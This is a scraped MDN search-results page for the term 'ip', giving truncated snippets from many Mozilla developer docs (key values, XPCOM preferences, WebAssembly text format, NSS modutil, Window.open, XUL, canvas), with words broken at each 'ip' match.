ip on behalf of the higher-level protocols, and in the process allows an ssl-enabled server to authenticate itself to an ssl-enabled client, allows the client to authenticate itself to the server, and allows both machines to establish an encrypted connection. these capabilities address fundamental concerns about communication ove...
...And 35 more matches
Key Values - Web APIs
the tables below list the standard key values in various categories of key, with an explanation of what the key is typically used for. corresponding virtual keycodes for common platforms are included where available. learn how to use these key values in javascr
ipt using keyboardevent.key special values | modifier keys | whitespace keys | navigation keys | editing keys | ui keys | device keys | ime and composition keys | function keys | phone keys | multimedia keys | audio control keys | tv control keys | media controller keys | speech recognition keys | document keys | application selector keys | browser control keys | numeric keypad keys special values values of key which have special meanings other than identifying a specific key or character. keyboardevent.key valu...
... and composition keys | function keys | phone keys | multimedia keys | audio control keys | tv control keys | media controller keys | speech recognition keys | document keys | application selector keys | browser control keys | numeric keypad keys special values values of key which have special meanings other than identifying a specific key or character. keyboardevent.key value descr
iption virtual keycode windows mac linux android "unidentified" the user agent wasn't able to map the event's virtual keycode to a specific key value. this can happen due to hardware or software constraints, or because of constraints around the platform on which the user agent is running. varies varies varies varies modifier keys ...
...aints around the platform on which the user agent is running. varies varies varies varies modifier keys modifiers are special keys which are used to generate special characters or cause special actions when used in combination with other keys. examples include the shift and control keys, and lock keys such as caps lock and numlock. keyboardevent.key value descr
iption virtual keycode windows mac linux android "alt" [5] the alt (alternative) key. vk_menu (0x12) vk_lmenu (0xa4) vk_rmenu (0xa5) kvk_option (0x3a) kvk_rightoption (0x3d) gdk_key_alt_l (0xffe9) gdk_key_alt_r (0xffea) qt::key_alt (0x01000023) keycode_alt_left (57) keycode_alt_right (58) "altgraph" [5] the altgr or alt...
...And 35 more matches
Preferences - Archive of obsolete content
sh to use the mozilla preferences system. information here applies to the mozilla suite, firefox, thunderbird, and possibly other mozilla-based applications. for more details on preferences in mozilla, see preferences system. if you haven't yet, read other documents about mozilla preferences on mdn (links below in resources section). note: this article doesn't cover all available methods for man
ipulating preferences; please refer to the xpcom reference pages listed in resources section for the complete list of methods. the interfaces dealing with preferences are fairly well documented, so using the methods not mentioned here should be straightforward. xpcom interfaces for preferences system mozilla exposes its preferences system through a few xpcom interfaces. look in the resources secti...
... the complete list of methods. the interfaces dealing with preferences are fairly well documented, so using the methods not mentioned here should be straightforward. xpcom interfaces for preferences system mozilla exposes its preferences system through a few xpcom interfaces. look in the resources section below for the link to a list of preferences-related interfaces. two used interfaces are ns
iprefservice and ns
iprefbranch. the preferences service is instantiated in the same way you instantiate any xpcom service. to get an ns
iprefbranch, either queryinterface() the pref service (that will give you the root branch) or call ns
iprefservice.getbranch() to get a sub-branch. here are two examples: // get the root branch var prefs = components.classes["@mozilla.org/preferences-service;1"] ...
... is instantiated in the same way you instantiate any xpcom service. to get an ns
iprefbranch, either queryinterface() the pref service (that will give you the root branch) or call ns
iprefservice.getbranch() to get a sub-branch. here are two examples: // get the root branch var prefs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.ns
iprefbranch); // get the "extensions.myext." branch var prefs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.ns
iprefservice); prefs = prefs.getbranch("extensions.myext."); simple types there are three types of preferences: string, integer, and boolean. each entry in the preferences database (prefs.js) has one of those types. ther...
...And 34 more matches
Understanding WebAssembly text format - WebAssembly
ebassembly to be read and edited by humans, there is a textual representation of the wasm binary format. this is an intermediate form designed to be exposed in text editors, browser developer tools, etc. this article explains how that text format works, in terms of the raw syntax, and how it is related to the underlying bytecode it represents -- and the wrapper objects representing wasm in javascr
ipt. note: this is potentially overkill if you are a web developer who just wants to load a wasm module into a page and use it in your code (see using the webassembly javascr
ipt api), but it is more useful if for example, you want to write wasm modules to optimize the performance of your javascr
ipt library, or build your own webassembly compiler. s-expressions in both the binary and textual for...
...ersion adding functionality to your module ok, that's not very interesting, let's add some executable code to this module. all code in a webassembly module is grouped into functions, which have the following pseudo-code structure: ( func <signature> <locals> <body> ) the signature declares what the function takes (parameters) and returns (return values). the locals are like vars in javascr
ipt, but with explicit types declared. the body is just a linear list of low-level instructions. so this is similar to functions in other languages, even if it looks different because it is an s-expression. signatures and parameters the signature is a sequence of parameter type declarations followed by a list of return type declarations. it is worth noting here that: the absence of a (res...
... module. like locals, functions are identified by an index by default, but for convenience, they can be named. let's start by doing this -- first, we'll add a name preceded by a dollar sign, just after the func keyword: (func $add ... ) now we need to add an export declaration -- this looks like so: (export "add" (func $add)) here, add is the name the function will be identified by in javascr
ipt whereas $add picks out which webassembly function inside the module is being exported. so our final module (for now) looks like this: (module (func $add (param $lhs i32) (param $rhs i32) (result i32) local.get $lhs local.get $rhs i32.add) (export "add" (func $add)) ) if you want to follow along with the example, save the above our module into a file called add.wat, then conver...
...And 34 more matches
Windows Media in Netscape - Archive of obsolete content
netscape 7.1 has the ability to load the microsoft(r) windows media player(tm) as an activex control, and thus developers can now build multimedia experiences that scr
ipt the windows media player in netscape 7.1, just as they do in internet explorer. netscape 7.1 will work with both the windows media player 6.4 activex control as well as versions 7 through 9. this article explains how to embed the windows media player activex control in web pages to support netscape 7.1, how to control the windows media player activex control using javascr
ipt and provides working examples. this article deals uniquely with netscape 7.1 running on the windows operating system. detecting the right browser like internet explorer, netscape 7.1 and later versions can play windows media files using the popu...
... running on the windows operating system. detecting the right browser like internet explorer, netscape 7.1 and later versions can play windows media files using the popular windows media player activex control. this control is widely used to provide inline media support for web pages that provide sound, video and other media. ...
...the windows media 9 series sdk documentation for netscape browsers says that versions of netscape (including 6.2 and 7.0) support the embedding of the windows media player control using a java applet. ...
...And 33 more matches
Introduction to client-side frameworks - Learn web development
overview: client-side javascr
ipt frameworks next we begin our look at frameworks with a general overview of the area, looking at a brief history of javascr
ipt and frameworks, why frameworks exist and what they give us, how to start thinking about choosing a framework to learn, and what alternatives there are to client-side frameworks. prerequisites: familiarity with the core html, css, and javascr
ipt languages. objective: to understand how client-side javascr
ipt frameworks came to exist, what problems they solve, what alternatives there are, and how to go about choosing one. a brief history when javascr
ipt debuted in 1996, it added occasional interactivity and excitement to a web that was, up until then, composed of static documents. the web became n...
... to understand how client-side javascr
ipt frameworks came to exist, what problems they solve, what alternatives there are, and how to go about choosing one. a brief history when javascr
ipt debuted in 1996, it added occasional interactivity and excitement to a web that was, up until then, composed of static documents. the web became not just a place to read things, but to do things. javascr
ipt's popularity steadily increased. developers who worked with javascr
ipt wrote tools to solve the problems they faced, and packaged them into reusable packages called libraries, so they could share their solutions with others. this shared ecosystem of libraries helped shape the growth of the web. ...
...users write papers, manage their budgets, stream music, watch movies, and communicate with others over great distances instantaneously, with text, audio or video chat. ...
...And 33 more matches
Mozilla DOM Hacking Guide
implementation of one of the greatest internet technologies ever created. mozilla's dom is coded almost entirely in c++. seriously hacking on it requires excellent knowledge of c++ and xpcom, mozilla's own component model. in this document i will try to outline the main aspects of the implementation, beginning with the class info mechanism, which lies at the heart of the dom, then with the descr
iption of various interfaces and classes. since i am myself still learning how it works, don't expect this to be a complete reference quite yet. if you can contribute any time or knowledge to this document, it is greatly appreciated! target audience: people interested in learning how the dom is implemented. prior knowledge of c++ and xpcom is assumed. if you don't know xpcom yet, and would like to ...
...rtant for the dom. by "correct behavior", i mean "the intended behavior with respect to the specification or de facto standard". we will see that class info is mainly used to implement the dom level 0. the w3c dom is mainly implemented in idl. the goals of class info are twofold: interface flattening, and implementing behaviors that are not possible with idl alone. a brief introduction to javascr
ipt and xpconnect. before we begin the explanation of class info, i'd like to introduce quickly the javascr
ipt engine and xpconnect. in javascr
ipt, there is no knowledge of types, like there is in c++. a function for example can be represented by a jsfunction, a jsobject, a jsval, ... this means that when we use the dom from javascr
ipt, we pass arguments that have no type. however, since the dom is...
...m from javascr
ipt, we pass arguments that have no type. however, since the dom is coded in c++, we expect to receive an argument of the correct type for our function. this is one of the jobs of xpconnect. xpconnect will "wrap" the argument in a wrapper that will be of the type expected by our c++ function. similarly, then return type of the c++ function will be wrapped by xpconnect so that javascr
ipt can use it safely. when, in javascr
ipt, a client tries to access a dom object or a dom method on a dom object, the js engine asks xpconnect to search for the relevant c++ method to call. for example, when we ask for |document.getelementbyid("myid");|, xpconnect will find that |document| is a property of the window object, so it will look on the interface nsidomwindow, and it will find the getdo...
...And 33 more matches
NSS tools : modutil
name modutil -- manage pkcs #11 module information within the security module database. synopsis modutil [options] arguments descr
iption the security module database tool, modutil, is a command-line utility for managing pkcs #11 module information both within secmod.db files and within hardware tokens. modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable f
ips 140-2 compliance, and assign default providers for cryptographic operations. this tool can also create certificate, key, and module security database files. the tasks associated with security module database management are part of a process that typically also involves managi...
...icate, key, and module security database files. the tasks associated with security module database management are part of a process that typically also involves managing key databases and certificate databases. options running modutil always requires one (and only one) option to specify the type of module operation. each option may take arguments, anywhere from none to mult
iple arguments. options -add modulename add the named pkcs #11 module to the database. use this option with the -libfile, -c
iphers, and -mechanisms arguments. -changepw tokenname change the password on the named token. if the token has not been initialized, this option initializes the password. use this option with the -pwfile and ...
... -create create new certificate, key, and module databases. use the -dbdir directory argument to specify a directory. ...
...And 32 more matches
Tutorial: Embedding Rhino
embedding rhino can be done simply with good results. with more effort on the part of the embedder, the objects exposed to scr
ipts can be customized further. this tutorial leads you through the steps from a simple embedding to more customized, complex embeddings. fully compilable examples are provided along the way. the examples live in the rhino/examples directory in the distribution and in mozilla/js/rhino/examples in cvs. this document will link to them using lxr. in this document, javascr
ipt code will be in green, java code will be in green, and shell logs will be in purple. ...
...bedding to more customized, complex embeddings. fully compilable examples are provided along the way. the examples live in the rhino/examples directory in the distribution and in mozilla/js/rhino/examples in cvs. this document will link to them using lxr. in this document, javascr
ipt code will be in green, java code will be in green, and shell logs will be in purple. ...
...ino/examples directory in the distribution and in mozilla/js/rhino/examples in cvs. this document will link to them using lxr. in this document, javascr
ipt code will be in green, java code will be in green, and shell logs will be in purple. ...
...And 32 more matches
nsIIOService
note: nsiioservice may only be used from the main thread. ...
... note: nsiioservice may only be used from the main thread. ...
...by @mozilla.org/network/io-service;1 as a service: var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); method overview boolean allowport(in long aport, in string ascheme); acstring extractscheme(in autf8string urlstring); unsigned long getprotocolflags(in string ascheme); ns
iprotocolhandler getprotocolhandler(in string ascheme); nsichannel newchannel(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); obsolete since gecko 48 nsichannel newchannel2(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri, in nsidomnode aloadingnode, in ns
iprinc
ipal aloadingprinc
ipal, in ns
iprinc
ipal atriggeringprinc
ipal, in uint32_t asecurity...
...And 32 more matches
mix-blend-mode - CSS: Cascading Style Sheets
ment's content should blend with the content of the element's parent and the element's background. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ix-blend-mode: luminosity; /* global values */ mix-blend-mode: initial; mix-blend-mode: inherit; mix-blend-mode: unset; values <blend-mode> the blending mode that should be applied. ...
... stop-color="hsl(120,100%,50%)" /> <stop offset="100%" stop-color="hsl(120,0%,100%)" /> </lineargradient> <lineargradient id="blue"> <stop offset="0" stop-color="hsl(240,100%,50%)" /> <stop offset="100%" stop-color="hsl(240,0%,100%)" /> </lineargradient> </defs> <ell
ipse class="item r" cx="75" cy="75" rx="25" ry="70"></ell
ipse> <ell
ipse class="item g" cx="75" cy="75" rx="25" ry="70"></ell
ipse> <ell
ipse class="item b" cx="75" cy="75" rx="25" ry="70"></ell
ipse> </svg> </div> </div> </div> <div class="cell"> mult
iply <div class="container mult
iply"> <div class="group"> ...
...And 32 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
sites to find modern informations. improper browser detection can lead to web maintenance nightmares. rethinking the basics of when and how to detect user agents is crucial to creating maintainable, cross browser web content. this article reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection. ...
... detection. quick t
ip if you must determine if a visitor is using a gecko-based browser, simply test navigator.product == 'gecko' or look for the string 'gecko/' in the navigator.useragent. note that some other browsers such as safari are reporting (like gecko) in their user agent strings and can confuse simple tests. introduction in an ideal world, we could author html, xml, css and javascr
ipt and only worry about the w3c and ecma standards. however, we don't quite live in such a world yet. due to bugs, incomplete implementations of the standards and legacy browsers, web developers must be able to determine which browser a visitor is using and provide the appropriate content and scr
ipting code path. ...
...html, xml, css and javascr
ipt and only worry about the w3c and ecma standards. however, we don't quite live in such a world yet. due to bugs, incomplete implementations of the standards and legacy browsers, web developers must be able to determine which browser a visitor is using and provide the appropriate content and scr
ipting code path. although browser detection is perhaps the most common scr
ipting task that every web developer faces, it seems that the variety of different strategies in use for detecting browsers is unlimited. as a member of the netscape evangelism team who has spent over a year investigating existing web content, i can say without a doubt that most compatibility problems found on the web today are due to a lack of understanding of the standards combined with inadequate...
...And 31 more matches
Python binding for NSS
nss is built upon nspr because nspr provides an abstraction of common operating system services, particularly in the areas of networking and process management. ...
...nd python-nss exposes elements of nspr. for information on nss and nspr, see the following: network security services (nss). nss project page. netscape portable runtime. nspr project page. nspr reference. nspr api documentation. design goals nss and nspr are c language api's which python-nss "wraps" and exposes to python programs. the design of python-nss follows these basic guiding princ
iples: be a thin layer with almost a one-to-one mapping of nss/nspr calls to python methods and functions. programmers already familiar with nss/nspr will be quite comfortable with python-nss. be "pythonic". the term pythonic means to follow accepted python paradigms and idoms in the python language and libraries. thus when deciding if the nss/nspr api should be rigidly followed or a more python...
.../functions provide sane default (keyword) parameters freeing the python programmer from having to specify all parameters yet allowing them to be overriden when necessary. error codes are never returned from methods/functions. python-nss follows the existing python exception mechanism. any error reported by nss/nspr is converted into a python exception and raised. the exact error code, error descr
iption, and often contextual error information will be present in the exception object. enumerated constants used in the nss/nspr api's are available in the python module under the exact same name as they appear in the c header files of nss/nspr. convenience functions are provided to translate between the numeric value of an enumerated constant and it's string representation and visa versa. pytho...
...And 31 more matches
Shell global objects
these are the global objects that are set up automatically by the spidermonkey js command-line interpreter when you start the program. note: this list overlaps with "built-in functions" in introduction to the javascr
ipt shell and is probably not complete. see js/src/shell/js.cpp (around shell_functions) for more. this page lists variables and functions available on spidermonkey 53. there may be some difference between each versions. you can get the list of functions by help() function in js shell. variables scr
iptargs an array that contains arguments passed to js shell. scr
iptpath a string that is a path of scr
ipt. console an object that has following property: log evaluate and print expressions to stdout. this function is an alias of the print() function. time...
...is a path of scr
ipt. console an object that has following property: log evaluate and print expressions to stdout. this function is an alias of the print() function. timesaccessed returns a number that indicates how many times this variable is accessed perfmeasurement see perfmeasurement.jsm. shell only functions functions always available version([number]) get or force a scr
ipt compilation version number. options([option ...]) get or toggle javascr
ipt options. load(['foo.js' ...]) load files named by string arguments. filename is relative to the current working directory. loadrelativetoscr
ipt(['foo.js' ...]) load files named by string arguments. filename is relative to the calling scr
ipt. evaluate(code[, options]) evaluate code as though it were the contents of...
...ts. filename is relative to the current working directory. loadrelativetoscr
ipt(['foo.js' ...]) load files named by string arguments. filename is relative to the calling scr
ipt. evaluate(code[, options]) evaluate code as though it were the contents of a file. ...
...And 31 more matches
Window.open() - Web APIs
return value a windowproxy object, which is basically a thin wrapper for the window object representing the newly created window, and has all its features available. if the window couldn't be opened, the returned value is instead null. the returned reference can be used to access properties and methods of the new window as long as it complies with same-origin policy security requirements. descr
iption the open() method creates a new secondary browser window, similar to choosing new window from the file menu. the url parameter specifies the url to be fetched and loaded in the new window. if url is an empty string, then a new blank, empty window (url about:blank) is created with the default toolbars of the main window. note that remote urls won't load immediately. when window.open() return...
... url parameter specifies the url to be fetched and loaded in the new window. if url is an empty string, then a new blank, empty window (url about:blank) is created with the default toolbars of the main window. note that remote urls won't load immediately. when window.open() returns, the window always contains about:blank. the actual fetching of the url is deferred and starts after the current scr
ipt block finishes executing. the window creation and the loading of the referenced resource are done asynchronously. examples var windowobjectreference; var windowfeatures = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes"; function openrequestedpopup() { windowobjectreference = window.open("http://www.cnn.com/", "cnn_windowname", windowfeatures); } var windowobjectreference...
...in this case the return value of the method is the existing window and windowfeatures is ignored. providing an empty string for url is a way to get a reference to an open window by its name without changing the window's location. on firefox and chrome (a...
...And 31 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
arn how to develop extensions, let's learn about xul, the xml-based user-interface language, which is one of the building blocks for extensions. introduction an overview of xul xul is an xml-based language, and was developed to be the gui markup language for the mozilla browser. there are earlier experiments going back a long way in developing user interfaces using a combination of html and scr
ipting languages, and xul could be considered an evolutionary step from that. similar approaches are found in xaml, which is used in windows vista, and flex, which is used in adobe flash. like web pages, which display the same regardless of platform, applications marked up in xul will work the same in any environment where firefox runs. because html was originally conceived as a language for markin...
...uns. because html was originally conceived as a language for marking up documents, specifically web pages, it is inevitably lacking in functionality for marking up applications. xul, on the other hand, was conceived from the ground up as a markup language for user interfaces, and makes it possible to insert ui components with sophisticated features just by writing tags, without any particular scr
ipting. unlike languages with formal specifications that have been standardized by bodies like the w3c, xul currently does not have an explicit specification. note: although there is a specification document, its markup is based on implementations and markup as of 2001, and current xul differs from it in many aspects. for the latest xul specifications, please see the xul reference on mdc and the x...
...in using the xml-stylesheet processing instruction. on line 2 of listing 2, we're reading in the theme's standard style sheet. by referring to a special style sheet within chrome://global/skin/, we can make label and button sizes, window background color, etc, match the currently selected theme in firefox. we can also read in a stylesheet that we had set up ourselves. the xul box model in princ
iple, xul lays out all ui components using combinations of two kinds of boxes: horizontal and vertical. as shown in listing 3, elements can be laid out horizontally using the hbox (horizontal box) element or vertically using the vbox (vertical box) element. when this file is opened in firefox, it is displayed as shown in figure 1. <label value="horizontal layout"/> <hbox> <button label="horizonta...
...And 30 more matches
Performance best practices for Firefox front-end engineers
is as performant as possible--not just on its own, but in terms of its impact on other parts of firefox. always keep in mind the side effects your changes may have, from blocking other tasks, to interfering with other user interface elements. avoid the main thread where possible the main thread is where we process user events and do painting. it's also important to note that most of our javascr
ipt runs on the main thread, so it's easy for scr
ipt to cause delays in event processing or painting. that means that the more code we can get off of the main thread, the more that thread can respond to user events, paint, and generally be responsive to the user. you might want to consider using a worker if you need to do some computation that can be done off of the main thread. if you need more el...
...xts by using services.tm.idledispatchtomainthread. see the nsithreadmanager.idl file for more details. hide your panels if you're adding a new xul <xul:popup> or <xul:panel> to a document, set the hidden attribute to true by default. by doing so, you cause the binding applied on demand rather than at load time, which makes initial construction of the xul document faster. get familiar with the p
ipeline that gets pixels to the screen learn how pixels you draw make their way to the screen. knowing the path they will take through the various layers of the browser engine will help you optimize your code to avoid pitfalls. the rendering process goes through the following steps: the above image is used under creative commons attribution 3.0, courtesy of this page from our friends at google, ...
... the various layers of the browser engine will help you optimize your code to avoid pitfalls. the rendering process goes through the following steps: the above image is used under creative commons attribution 3.0, courtesy of this page from our friends at google, which itself is well worth the read. for a very down-to-earth explanation of the style, layout, paint and composite steps of the p
ipeline, this hacks blog post does a great job of explaining it. to achieve a 60 fps frame rate, all of the above has to happen in 16 milliseconds or less, every frame. note that requestanimationframe() lets you queue up javascr
ipt to run right before the style flush occurs. this allows you to put all of your dom writes (most importantly, anything that could change the size or position of things ...
...And 30 more matches
Index - Firefox Developer Tools
found 158 pages: # page tags and summary 1 firefox developer tools developing mozilla, guide, tools, web development, web development:tools, l10n:priority firefox developer tools is a set of web developer tools built into firefox. you can use them to examine, edit, and debug html, css, and javascr
ipt. 2 3d view html, tools, web development, web development:tools when you click on the 3d view button, the page goes into 3d view mode; in this mode, you can see your page presented in a 3d view in which nested blocks of html are increasingly "tall," projecting outward from the bottom of the page. this view makes it easy to visualize the nesting of your content. 3 accessibility inspector accessibility, accessibility i...
...de, simulation, tools the simulator in the accessibility inspector in firefox developer tools lets you see what a web page would look like to users with various forms of color vision deficiency (better known as "color blindness"), as well as contrast sensitivity loss. 5 add-ons web development, web development:tools developer tools that are not built into firefox, but sh
ip as separate add-ons. 6 dom inspector dom, dom:tools, dom_inspector, extensions, extensions:tools, themes, themes:tools, tools, web development, web development:tools, xul, xul:tools the dom inspector (also known as domi) is a developer tool used to inspect, browse, and edit the document object model of documents - usually web pages or xul windows. the dom hierarchy can be nav...
...eb development menu in seamonkey, or by selecting the dom inspector menu item from the tools menu in firefox and thunderbird, or by using ctrl/cmd+shift+i in either application. dom inspector is standalone; it supports all toolkit applications, and it's possible to embed it in your own xulrunner app. dom inspector can serve as a sanity check to verify the state of the dom, or it can be used to man
ipulate the dom by hand, if desired. 10 all keyboard shortcuts tools, l10n:priority this page lists all keyboard shortcuts used by the developer tools built into firefox. 11 application application, debugging, devtools, firefox, guide, manifests, service workers the application panel provides tools for inspecting and debugging modern web apps (also known as ...
...And 30 more matches
Extending a Protocol
quick start: extending a protocol this tutorial implements a simple ping-pong style
ipdl protocol, which sends a message from the content process (main thread) to the chrome process (ui thread). the tutorial is designed for beginners and will walk you through all the steps you need to get things working. the tutorial is designed for browser engineers who are implementing dom/web apis that need to, for example, send a message to the os or spin up something off the main thread - so it's biased towards supporting w3c/whatwg dom apis. what are we going to implement? tl:dr: you can see the final implementation of pecho.
ipdl as a diff in phabricator. to make this tutorial less abstract (more fun!), we are going to implement a js method called echo() on the navigator interface. the...
... fun!), we are going to implement a js method called echo() on the navigator interface. the method will take one argument, a domstring, which we will pass to the parent process. then we will send that same string back to the child process. the webidl for this will be: partial interface navigator { promise<domstring> echo(domstring somestring); }; learning goals are: extending an existing
ipdl protocol. simple message passing. working with mozpromises and js promises. managing child actors with reference counting. visually, it's going to look something like this (except for the operating system bit, which we are not actually going to do - just to illustrate what we could do): let's start by implementing the webidl above. implementing the navigator.echo() in your favorit...
...; } // message passing magic will happen here! return echopromise.forget(); } ok, let's ./mach build and make sure everything is compiling ok. once it's compiled, ./mach run and you should be able to spin up the developer console and type: navigator.echo("hi!"); that will return a pending promise that never settles. our goal is now to get that to settle with the value we sent in.
ipdl basics while you are compiling, let's cover some
ipdl basics. in
ipdl there two kinds of "actors" - a "parent" and "child" - these actors are literally implemented as c++ classes, so they are more than just abstract ideas. usually, a child wants to send messages to the parent to do something off main thread for us. and we generally want the parent to let a child know when some work is done ...
...And 29 more matches
nsITextInputProcessor
nsidomwindowutils has provided the methods which dispatched keyboard events and composition events almost directly. ...
...ents from minimum information, and doesn't dispatch some events if they are not necessary. this means that even when gecko changes the dom event behavior, it may not be necessary that the users of this interface need to be updated, i.e., the implementation of this class can be a cushion from the impact of gecko's change. ...
...he impact of gecko's change. you can create an instance of this interface with the following code: var t
ip = components.classes["@mozilla.org/text-input-processor;1"]. createinstance(components.interfaces.nsitextinputprocessor); next, you need to get the rights to create composition or dispatch keyboard events with begininputtransaction() or begininputtransactionfortests(): if (!t
ip.begininputtransaction(window, callback)) { return; } if begininputtransaction() or begininputtransactionfortests() returns false, it means that another instance of nsitextinputprocessor has composition on the window or is dispatching an event. in this case, other instances cannot create composition nor dispatch keyboard events on the window. the second argument, callback, should be an object...
...And 29 more matches
Communicating using "port" - Archive of obsolete content
this page is now obsolete, and its content has been incorporated into the main page on content scr
ipts. to enable add-on scr
ipts and content scr
ipts to communicate with each other, each end of the conversation has access to a port object. to send messages from one side to the other, use port.emit() to receive messages sent from the other side, use port.on() messages are asynchronous: that is, the sender does not wait for a reply from the rec
ipient but just emits the message and continues processing. ...
...other, each end of the conversation has access to a port object. to send messages from one side to the other, use port.emit() to receive messages sent from the other side, use port.on() messages are asynchronous: that is, the sender does not wait for a reply from the rec
ipient but just emits the message and continues processing. ...
...o send messages from one side to the other, use port.emit() to receive messages sent from the other side, use port.on() messages are asynchronous: that is, the sender does not wait for a reply from the rec
ipient but just emits the message and continues processing. ...
...And 28 more matches
Building accessible custom components in XUL - Archive of obsolete content
well-known that the same dhtml accessibility techniques can be applied to xul, mozilla's xml markup language for building user interfaces. (the firefox interface itself is built in xul, as well as the graphical interface presented by firefox extensions.) xul itself has a much richer set of built-in controls than html. there is generally no need to build your own xul tab bar or treeview. ...
...label elements for each cell in the spreadsheet. ...
...label elements for each cell in the spreadsheet. the xul markup is straightforward. ...
...And 28 more matches
Drawing graphics - Learn web development
previous overview: client-side web apis next the browser contains some very powerful graphics programming tools, from the scalable vector graphics (svg) language, to apis for drawing on html <canvas> elements, (see the canvas api and webgl). this article provides an introduction to canvas, and further resources to allow you to learn more. prerequisites: javascr
ipt basics (see first steps, building blocks, javascr
ipt objects), the basics of client-side apis objective: to learn the basics of drawing on <canvas> elements using javascr
ipt. graphics on the web as we talked about in our html multimedia and embedding module, the web was originally just text, which was very boring, so images were introduced -- first via the <img> element and later vi...
...e basics of drawing on <canvas> elements using javascr
ipt. graphics on the web as we talked about in our html multimedia and embedding module, the web was originally just text, which was very boring, so images were introduced -- first via the <img> element and later via css properties such as background-image, and svg. this however was still not enough. while you could use css and javascr
ipt to animate (and otherwise man
ipulate) svg vector images -- as they are represented by markup -- there was still no way to do the same for bitmap images, and the tools available were rather limited. the web still had no way to effectively create animations, games, 3d scenes, and other requirements commonly handled by lower level languages such as c++ or java. the situation started to improve whe...
...sers followed by implementing it in the years that followed. as you'll see below, canvas provides many useful tools for creating 2d animations, games, data visualizations, and other types of app, especially when combined with some of the other apis the web platform provides. the below example shows a simple 2d canvas-based bouncing balls animation that we originally met in our introducing javascr
ipt objects module: around 2006-2007, mozilla started work on an experimental 3d canvas implementation. this became webgl, which gained traction among browser vendors, and was standardized around 2009-2010. webgl allows you to create real 3d graphics inside your web browser; the below example shows a simple rotating webgl cube: this article will focus mainly on 2d canvas, as raw webgl code is ...
...And 28 more matches
NSS tools : modutil
name modutil - manage pkcs #11 module information within the security module database. synopsis modutil [options] [[arguments]] status this documentation is still work in progress. please contribute to the initial review in mozilla nss bug 836477[1] descr
iption the security module database tool, modutil, is a command-line utility for managing pkcs #11 module information both within secmod.db files and within hardware tokens. modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable f
ips 140-2 compliance, and assign default providers for cryptographic operations. this tool can also create certificate, key, and module security database files. the tasks associated wi...
...so create certificate, key, and module security database files. the tasks associated with security module database management are part of a process that typically also involves managing key databases and certificate databases. options running modutil always requires one (and only one) option to specify the type of module operation. each option may take arguments, anywhere from none to mult
iple arguments. options -add modulename add the named pkcs #11 module to the database. use this option with the -libfile, -c
iphers, and -mechanisms arguments. -changepw tokenname change the password on the named token. if the token has not been initialized, this option initializes the password. use this option with the -pwfile and -newpwfile arguments. a password is equivalent to a personal...
... -create create new certificate, key, and module databases. use the -dbdir directory argument to specify a directory. ...
...And 28 more matches
JSAPI Cookbook
this article shows the jsapi equivalent for a tiny handful of common javascr
ipt idioms. note: the foss wiki page contains a few links to other libraries and programs that can make life easier when using spidermonkey and jsapi. basics working with values the basic, undifferentiated value type in the jsapi is js::value. ...
...nt for a tiny handful of common javascr
ipt idioms. note: the foss wiki page contains a few links to other libraries and programs that can make life easier when using spidermonkey and jsapi. basics working with values the basic, undifferentiated value type in the jsapi is js::value. ...
...ool isnumber = v.isnumber(); bool isint32 = v.isint32(); // note: internal representation, not numeric value bool isnull = v.isnull(); bool isboolean = v.isboolean(); bool isobject = v.isobject(); // note: not broken like typeof === "object" is :-) to set a value use a correspondingly named member mutator function, or assign the result of the correspondingly named standalone function: // javascr
ipt var v; v = 0; v = 0.5; v = somestring; v = null; v = undefined; v = false; /* jsapi */ js::rootedvalue v(cx); js::rootedstring somestring(cx, ...); v.setint32(0); // or: v = js::int32value(0); v.setdouble(0.5); // or: v = js::doublevalue(0.5); v.setstring(somestring); // or: v = js::stringvalue(somestring); v.setnull(); // or: v = js::nullvalue(); v.setundefined()...
...And 28 more matches
XPCOM Stream Guide
n't usually important to a stream. streams simply provide a way to read or write data to some object. in basic c++ programming for a console application, we usually talk about streams to access files, or to interact with the user. mozilla's use of streams is more complex. on the one hand, we don't interact with the user through streams. on the other hand, we use streams to access files within a z
ip archive, to store and provide data coming from websites, even to talk to other programs on the same computer through "p
ipes" (more on that later). we even have streams that take input from other streams and transform the data within them to something more useful. primitive streams there are streams for several different types of data storage. each of these implements nsiinputstream. primiti...
... primitive output streams type native class contract id interface how to bind to a data target generic nsstoragestream @mozilla.org/storagestream;1 nsistoragestream stream.getoutputstream(); // retur...
... primitive output streams type native class contract id interface how to bind to a data target generic nsstoragestream @mozilla.org/storagestream;1 nsistoragestream stream.getoutputstream(); // returns nsioutputstream file nsfileoutputstream ...
...And 28 more matches
Constraint validation - Developer guides
, checking whether each field has a valid and coherent value is more difficult, and informing the user about the problem may become a headache. html5 introduced new mechanisms for forms: it added new semantic types for the <input> element and constraint validation to ease the work of checking the form content on the client side. basic, usual constraints can be checked, without the need for javascr
ipt, by setting new attributes; more complex constraints can be tested using the constraint validation api. for a basic introduction to these concepts, with examples, see the form validation tutorial. note: html5 constraint validation doesn't remove the need for validation on the server side. even though far fewer invalid form requests are to be expected, invalid ones can still be sent by non-comp...
...ng the constraint validation api. for a basic introduction to these concepts, with examples, see the form validation tutorial. note: html5 constraint validation doesn't remove the need for validation on the server side. even though far fewer invalid form requests are to be expected, invalid ones can still be sent by non-compliant browsers (for instance, browsers without html5 and without javascr
ipt) or by bad people trying to trick your web application. therefore, like with html4, you need to also validate input constraints on the server side, in a way that is consistent with what is done on the client side. intrinsic and basic constraints in html5, basic constraints are declared in two ways: by choosing the most semantically appropriate value for the type attribute of the <input> ele...
...straints are declared in two ways: by choosing the most semantically appropriate value for the type attribute of the <input> element, e.g., choosing the email type automatically creates a constraint that checks whether the value is a valid e-mail address. by setting values on validation-related attributes, allowing basic constraints to be described in a simple way, without the need for javascr
ipt. semantic input types the intrinsic constraints for the type attribute are: input type constraint descr
